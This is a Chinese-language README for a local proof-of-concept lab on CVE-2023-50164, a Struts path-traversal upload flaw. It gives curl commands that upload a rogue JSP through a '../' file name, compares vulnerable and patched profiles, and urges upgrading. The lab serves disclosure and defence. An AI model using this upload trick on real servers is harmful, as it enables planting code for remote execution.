这是 CVE-2023-50164 的概念验证(PoC),它描述了一种新的路径遍历漏洞,可能导致 struts-core 中的远程代码执行(RCE)。
要修复该问题,建议您升级到 Struts 2.5.33 或 Struts 6.3.0.2 及更高版本。
此仓库基于 Henrik Plate 的出色工作(见此处)构建。
该项目中有两个 Maven 配置文件:vuln 和 no-vuln。默认配置文件为 vuln。
要_包含 RCE 漏洞_运行,请执行以下命令:
mvn clean jetty:run -P vuln
要_不包含 RCE 漏洞_运行,请执行以下命令:
mvn clean jetty:run -P no-vuln
两个配置文件的区别在于:vuln 使用 struts-core 版本 6.3.0.1(存在路径遍历漏洞),而 no-vuln 使用 struts-core 版本 6.3.0.2(不存在路径遍历漏洞)。
在运行上述的 vuln 配置文件时,请执行以下命令:
curl \
http://localhost:9999/struts-vuln-poc/upload.action \
-F "Upload=@./payload/rogue.jsp" \
-F "uploadFileName=../src/main/webapp/rogue.jsp"
您会看到 rogue.jsp 文件出现在 src/main/webapp 文件夹中,并且可以通过以下地址访问:
http://localhost:9999/struts-vuln-poc/rogue.jsp(您会看到一条 你被 PWNED 了! 的消息)。
存在一种适用于较旧 Struts 版本的代码修复方案,_但_强烈建议您升级 Struts 版本。
要测试代码修复,请执行以下命令:
curl \
http://localhost:9999/struts-vuln-poc/upload-no-vuln.action \
-F "Upload=@./payload/rogue.jsp" \
-F "uploadFileName=../src/main/webapp/rogue.jsp"
您会看到一条错误消息:尝试路径遍历攻击
注意:如果您使用 no-vuln 配置文件,即使使用相对路径(如 ../src/main/webapp/rogue.jsp),/upload-no-vuln 端点也不会返回错误消息,因为新版本的 Struts 会自动去除相对路径引用。